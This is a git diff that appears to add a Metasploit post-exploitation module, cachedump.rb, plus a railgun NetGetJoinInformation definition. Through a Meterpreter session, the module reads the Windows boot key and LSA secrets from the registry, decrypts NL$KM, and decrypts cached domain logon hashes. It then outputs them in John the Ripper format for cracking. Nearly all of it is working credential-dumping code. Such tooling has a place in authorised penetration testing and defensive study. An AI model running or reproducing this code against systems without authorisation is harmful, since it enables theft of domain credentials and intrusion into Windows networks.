diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb index 9607efe022..52e6bdb31a 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_netapi32.rb @@ -17,6 +17,11 @@ class Def_netapi32 ["PWCHAR","username","in"], ]) + railgun.add_function( 'netapi32', 'NetGetJoinInformation', 'DWORD',[ + ["PBLOB","lpServer","in"], + ["PDWORD","lpNameBugger","out"], + ["PDWORD","BufferType","out"] + ]) end end diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb new file mode 100755 index 0000000000..98f072f0e3 --- /dev/null +++ b/modules/post/windows/gather/cachedump.rb @@ -0,0 +1,504 @@ +## +# $Id$ +## + +# post/windows/gather/cachedump.rb + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + + include Msf::Post::Registry + + def initialize(info={}) + super( update_info(info, + 'Name' => 'Microsoft Windows Credential Cache Dump', + 'Description' => '%q{ + This modules uses the registry, just like the hashdump module to extract the stored + domain hashes that have been cached as a result a GPO setting. The default is to + store 10 credentials, but this can be changed or disabled altogether.}', + 'License' => MSF_LICENSE, + 'Author' => ['Maurizio Agazzini ','Rob Fuller '], + 'Version' => '$Revision$', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']] + )) + + register_options( + [ + OptBool.new('VERBOSE', [true, 'Verbose account information', false]), + OptBool.new('DEBUG', [true, 'Debugging output', false]) + ], self.class) + end + + + + def check_gpo + begin + winlogonkey = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", KEY_READ) + gposetting = winlogonkey.query_value('CachedLogonsCount').data + print_status("Cached Credentials Setting: #{gposetting.to_s} - (Max is 50 and 0 disables, and 10 is default)") + #ValueName: CachedLogonsCount + #Data Type: REG_SZ + #Values: 0 - 50 + rescue ::Exception => e + print_error("Cache setting not found...") + end + end + + def capture_boot_key + bootkey = "" + basekey = "System\\CurrentControlSet\\Control\\Lsa" + + %W{JD Skew1 GBG Data}.each do |k| + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + return nil if not ok + bootkey << [ok.query_class.to_i(16)].pack("V") + ok.close + end + + keybytes = bootkey.unpack("C*") + descrambled = "" + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + + 0.upto(keybytes.length-1) do |x| + descrambled << [keybytes[descrambler[x]]].pack("C") + end + + return descrambled + end + + def capture_lsa_key(bootkey) + begin + print_status("Getting PolSecretEncryptionKey...") if( datastore['DEBUG'] ) + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ) + pol = ok.query_value("").data + print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}") if( datastore['DEBUG'] ) + ok.close + print_status("XP compatible client") + @vista = 0 + rescue + print_status("Trying 'Vista' style...") + print_status("Getting PolEKList...") if( datastore['DEBUG'] ) + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ) + pol = ok.query_value("").data + ok.close + print_status("Vista compatible client") + @vista = 1 + end + + if( @vista == 1 ) + lsakey = decrypt_lsa(pol, bootkey) + lsakey = lsakey[68,32] + else + md5x = Digest::MD5.new() + md5x << bootkey + (1..1000).each do + md5x << pol[60,16] + end + + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = md5x.digest + lsakey = rc4.update(pol[12,48]) + lsakey << rc4.final + lsakey = lsakey[0x10..0x1F] + end + return lsakey + end + + def convert_des_56_to_64(kstr) + des_odd_parity = [ + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + ] + + key = [] + str = kstr.unpack("C*") + + key[0] = str[0] >> 1 + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) + key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) + key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) + key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) + key[7] = str[6] & 0x7F + + 0.upto(7) do |i| + key[i] = ( key[i] << 1) + key[i] = des_odd_parity[key[i]] + end + return key.pack("C*") + end + + def decrypt_secret(secret, key) + + # Ruby implementation of SystemFunction005 + # the original python code has been taken from Credump + + j = 0 + decrypted_data = '' + + for i in (0...secret.length).step(8) + enc_block = secret[i..i+7] + block_key = key[j..j+6] + des_key = convert_des_56_to_64(block_key) + d1 = OpenSSL::Cipher::Cipher.new('des-ecb') + + d1.padding = 0 + d1.key = des_key + d1o = d1.update(enc_block) + d1o << d1.final + decrypted_data += d1o + j += 7 + if (key[j..j+7].length < 7 ) + j = key[j..j+7].length + end + end + dec_data_len = decrypted_data[0].ord + + return decrypted_data[8..8+dec_data_len] + + end + + def decrypt_lsa(pol, encryptedkey) + + sha256x = Digest::SHA256.new() + sha256x << encryptedkey + (1..1000).each do + sha256x << pol[28,32] + end + + aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc") + aes.key = sha256x.digest + + print_status("digest #{sha256x.digest.unpack("H*")[0]}") if( datastore['DEBUG'] ) + + decryptedkey = '' + + for i in (60...pol.length).step(16) + aes.decrypt + aes.padding = 0 + xx = aes.update(pol[i...i+16]) + decryptedkey += xx + end + + return decryptedkey + end + + def capture_nlkm(lsakey) + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal", KEY_READ) + nlkm = ok.query_value("").data + ok.close + + print_status("Encrypted NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] ) + + if( @vista == 1 ) + nlkm_dec = decrypt_lsa( nlkm[0..-1], lsakey) + else + nlkm_dec = decrypt_secret( nlkm[0xC..-1], lsakey) + end + + return nlkm_dec + end + + def parse_decrypted_cache(dec_data, s) + + i = 0 + hash = dec_data[i...i+0x10] + i+=72 + + username = dec_data[i...i+(s.userNameLength)] + i+=s.userNameLength + i+=2 * ( ( s.userNameLength / 2 ) % 2 ) + + print_good "Username\t\t: #{username}" if( datastore['VERBOSE'] ) + print_good "Hash\t\t: #{hash.unpack("H*")[0]}" if( datastore['VERBOSE'] ) + + last = Time.at(s.lastAccess) + print_good "Last login\t\t: #{last.strftime("%F %T")} " if( datastore['VERBOSE'] ) + + domain = dec_data[i...i+s.domainNameLength+1] + i+=s.domainNameLength + + if( s.dnsDomainNameLength != 0) + dnsDomainName = dec_data[i...i+s.dnsDomainNameLength+1] + i+=s.dnsDomainNameLength + i+=2 * ( ( s.dnsDomainNameLength / 2 ) % 2 ) + print_good "DNS Domain Name\t: #{dnsDomainName}" if( datastore['VERBOSE'] ) + end + + if( s.upnLength != 0) + upn = dec_data[i...i+s.upnLength+1] + i+=s.upnLength + i+=2 * ( ( s.upnLength / 2 ) % 2 ) + print_good "UPN\t\t\t: #{upn}" if( datastore['VERBOSE'] ) + end + + if( s.effectiveNameLength != 0 ) + effectiveName = dec_data[i...i+s.effectiveNameLength+1] + i+=s.effectiveNameLength + i+=2 * ( ( s.effectiveNameLength / 2 ) % 2 ) + print_good "Effective Name\t: #{effectiveName}" if( datastore['VERBOSE'] ) + end + + if( s.fullNameLength != 0 ) + fullName = dec_data[i...i+s.fullNameLength+1] + i+=s.fullNameLength + i+=2 * ( ( s.fullNameLength / 2 ) % 2 ) + print_good "Full Name\t\t: #{fullName}" if( datastore['VERBOSE'] ) + end + + if( s.logonScriptLength != 0 ) + logonScript = dec_data[i...i+s.logonScriptLength+1] + i+=s.logonScriptLength + i+=2 * ( ( s.logonScriptLength / 2 ) % 2 ) + print_good "Logon Script\t\t: #{logonScript}" if( datastore['VERBOSE'] ) + end + + if( s.profilePathLength != 0 ) + profilePath = dec_data[i...i+s.profilePathLength+1] + i+=s.profilePathLength + i+=2 * ( ( s.profilePathLength / 2 ) % 2 ) + print_good "Profile Path\t\t: #{profilePath}" if( datastore['VERBOSE'] ) + end + + if( s.homeDirectoryLength != 0 ) + homeDirectory = dec_data[i...i+s.homeDirectoryLength+1] + i+=s.homeDirectoryLength + i+=2 * ( ( s.homeDirectoryLength / 2 ) % 2 ) + print_good "Home Directory\t\t: #{homeDirectory}" if( datastore['VERBOSE'] ) + end + + if( s.homeDirectoryDriveLength != 0 ) + homeDirectoryDrive = dec_data[i...i+s.homeDirectoryDriveLength+1] + i+=s.homeDirectoryDriveLength + i+=2 * ( ( s.homeDirectoryDriveLength / 2 ) % 2 ) + print_good "Home Directory Drive\t: #{homeDirectoryDrive}" if( datastore['VERBOSE'] ) + end + + print_good "User ID\t\t: #{s.userId}" if( datastore['VERBOSE'] ) + print_good "Primary Group ID\t: #{s.primaryGroupId}" if( datastore['VERBOSE'] ) + + relativeId = [] + while (s.groupCount > 0) do + # Todo: parse attributes + relativeId << dec_data[i...i+4].unpack("V")[0] + i+=4 + attributes = dec_data[i...i+4].unpack("V")[0] + i+=4 + s.groupCount-=1 + end + + print_good "Additional groups\t: #{relativeId.join ' '}" if( datastore['VERBOSE'] ) + + + if( s.logonDomainNameLength != 0 ) + logonDomainName = dec_data[i...i+s.logonDomainNameLength+1] + i+=s.logonDomainNameLength + i+=2 * ( ( s.logonDomainNameLength / 2 ) % 2 ) + print_good "Logon domain name\t: #{logonDomainName}" if( datastore['VERBOSE'] ) + end + + + print_good "----------------------------------------------------------------------" if( datastore['VERBOSE'] ) + return "#{username.downcase}:#{hash.unpack("H*")[0]}:#{dnsDomainName}:#{logonDomainName}\n" + end + + def parse_cache_entry(cache_data) + j = Struct.new( + :userNameLength, + :domainNameLength, + :effectiveNameLength, + :fullNameLength, + :logonScriptLength, + :profilePathLength, + :homeDirectoryLength, + :homeDirectoryDriveLength, + :userId, + :primaryGroupId, + :groupCount, + :logonDomainNameLength, + :logonDomainIdLength, + :lastAccess, + :last_access_time, + :revision, + :sidCount, + :valid, + :sifLenght, + :logonPackage, + :dnsDomainNameLength, + :upnLength, + :ch, + :enc_data + ) + + s = j.new() + + s.userNameLength = cache_data[0,2].unpack("v")[0] + s.domainNameLength = cache_data[2,2].unpack("v")[0] + s.effectiveNameLength = cache_data[4,2].unpack("v")[0] + s.fullNameLength = cache_data[6,2].unpack("v")[0] + s.logonScriptLength = cache_data[8,2].unpack("v")[0] + s.profilePathLength = cache_data[10,2].unpack("v")[0] + s.homeDirectoryLength = cache_data[12,2].unpack("v")[0] + s.homeDirectoryDriveLength = cache_data[14,2].unpack("v")[0] + + s.userId = cache_data[16,4].unpack("V")[0] + s.primaryGroupId = cache_data[20,4].unpack("V")[0] + s.groupCount = cache_data[24,4].unpack("V")[0] + s.logonDomainNameLength = cache_data[28,2].unpack("v")[0] + s.logonDomainIdLength = cache_data[30,2].unpack("v")[0] + + #Removed ("Q") unpack and replaced as such + thi = cache_data[32,4].unpack("V")[0] + tlo = cache_data[36,4].unpack("V")[0] + q = (tlo.to_s(16) + thi.to_s(16)).to_i(16) + s.lastAccess = ((q / 10000000) - 11644473600) + + s.revision = cache_data[40,4].unpack("V")[0] + s.sidCount = cache_data[44,4].unpack("V")[0] + s.valid = cache_data[48,4].unpack("V")[0] + s.sifLenght = cache_data[52,4].unpack("V")[0] + + s.logonPackage = cache_data[56,4].unpack("V")[0] + s.dnsDomainNameLength = cache_data[60,2].unpack("v")[0] + s.upnLength = cache_data[62,2].unpack("v")[0] + + s.ch = cache_data[64,16] + s.enc_data = cache_data[96..-1] + + return s + end + + def decrypt_hash(edata, nlkm, ch) + rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('md5'), nlkm, ch) + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = rc4key + dec = rc4.update(edata) + dec << rc4.final + + return dec + end + + def decrypt_hash_vista(edata, nlkm, ch) + aes = OpenSSL::Cipher::Cipher.new('aes-128-cbc') + aes.key = nlkm[16...-1] + aes.padding = 0 + aes.decrypt + aes.iv = ch + + jj = "" + for i in (0...edata.length).step(16) + xx = aes.update(edata[i...i+16]) + jj += xx + end + + return jj + end + + + def run + begin + print_status("Executing module against #{session.sys.config.sysinfo['Computer']}") + client.railgun.netapi32() + if client.railgun.netapi32.NetGetJoinInformation(nil,4,4)["BufferType"] != 3 + print_error("System is not joined to a domain, exiting..") + return + end + + #Check policy setting for cached creds + check_gpo + + print_status('Obtaining boot key...') + bootkey = capture_boot_key + print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] ) + + print_status('Obtaining Lsa key...') + lsakey = capture_lsa_key(bootkey) + print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] ) + + print_status("Obtaining LK$KM...") + nlkm = capture_nlkm(lsakey) + print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] ) + + print_status("Dumping cached credentials...") + ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ) + + john = "" + + ok.enum_value.each do |usr| + if( "NL$Control" == usr.name) then + next + end + + begin + nl = ok.query_value("#{usr.name}").data + rescue + next + end + + cache = parse_cache_entry(nl) + + if ( cache.userNameLength > 0 ) + print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] ) + print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] ) + print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] ) + + if( @vista == 1 ) + dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch) + else + dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch) + end + + print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] ) + + john += parse_decrypted_cache(dec_data, cache) + + end + end + + print_status("John the Ripper format:") + + john.split("\n").each do |pass| + print "#{pass}\n" + end + + if( @vista == 1 ) + print_status("Hash are in MSCACHE_VISTA format. (mscash2)") + else + print_status("Hash are in MSCACHE format. (mscash)") + end + + rescue ::Interrupt + raise $! + rescue ::Rex::Post::Meterpreter::RequestError => e + print_error("Meterpreter Exception: #{e.class} #{e}") + print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)") + end + end +end